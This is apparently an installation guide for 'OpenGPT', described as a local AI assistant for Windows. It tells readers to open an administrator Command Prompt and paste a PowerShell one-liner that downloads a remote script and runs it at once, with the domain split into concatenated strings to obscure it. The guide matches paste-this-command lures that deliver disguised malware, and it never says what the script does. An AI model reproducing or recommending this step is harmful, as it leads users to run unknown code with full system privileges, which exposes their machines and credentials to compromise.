Installation Guide

This guide will walk you through the process of installing OpenGPT on your local machine. OpenGPT is designed to run directly on your PC, giving you a powerful AI assistant that operates securely and

Prerequisites

Before you begin the installation, please ensure your system meets the following requirements:

• Operating System: A modern operating system, such as Windows.

• Command Line Access: You'll need access to the Command Prompt (CMD).

• PowerShell: PowerShell is required to execute the installation script.

• Administrative Privileges: You must have administrative rights on your computer to successfully install OpenGPT.

Installation Steps

Follow these steps carefully to install OpenGPT:

1. Open Command Prompt (CMD) as Administrator:

   • Search for "CMD" in your Windows search bar.

   • Right-click on "Command Prompt" from the search results.

   • Select "Run as administrator".

   • If prompted by User Account Control, click "Yes" to allow the app to make changes to your device.

2. Run the Installation Command:

   • Once the Command Prompt window is open with administrative privileges, you will see a black window with a command-line interface.

   • Copy the following command:

     powershell -c "irm ('opengpt' + '.dev/code') | iex"

   • Paste the copied command into the Administrator Command Prompt window. You can usually paste by right-clicking in the window or by pressing Ctrl + V.

   • Press Enter to execute the command.

3. Monitor the Installation:

   • The command will initiate the download and installation process for OpenGPT. You may see text and progress indicators in the Command Prompt.

   • Wait for the process to complete. The script will handle the necessary setup.

4. Installation Complete:

   • Once the script finishes, OpenGPT should be installed on your system. You might see a confirmation message similar to the OpenGPT welcome message:

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     OpenGPT: Hello! I'm OpenGPT, here to help you with anything you need—whether it's answering questions, solving problems, or just exploring ideas. How can I assist you today?

   • You can now start using OpenGPT as your local AI assistant.

Troubleshooting (Optional - can be expanded later)

• If you encounter any errors, double-check that you ran CMD as an administrator and that your internet connection is stable.

• Ensure PowerShell is enabled and functioning correctly on your system.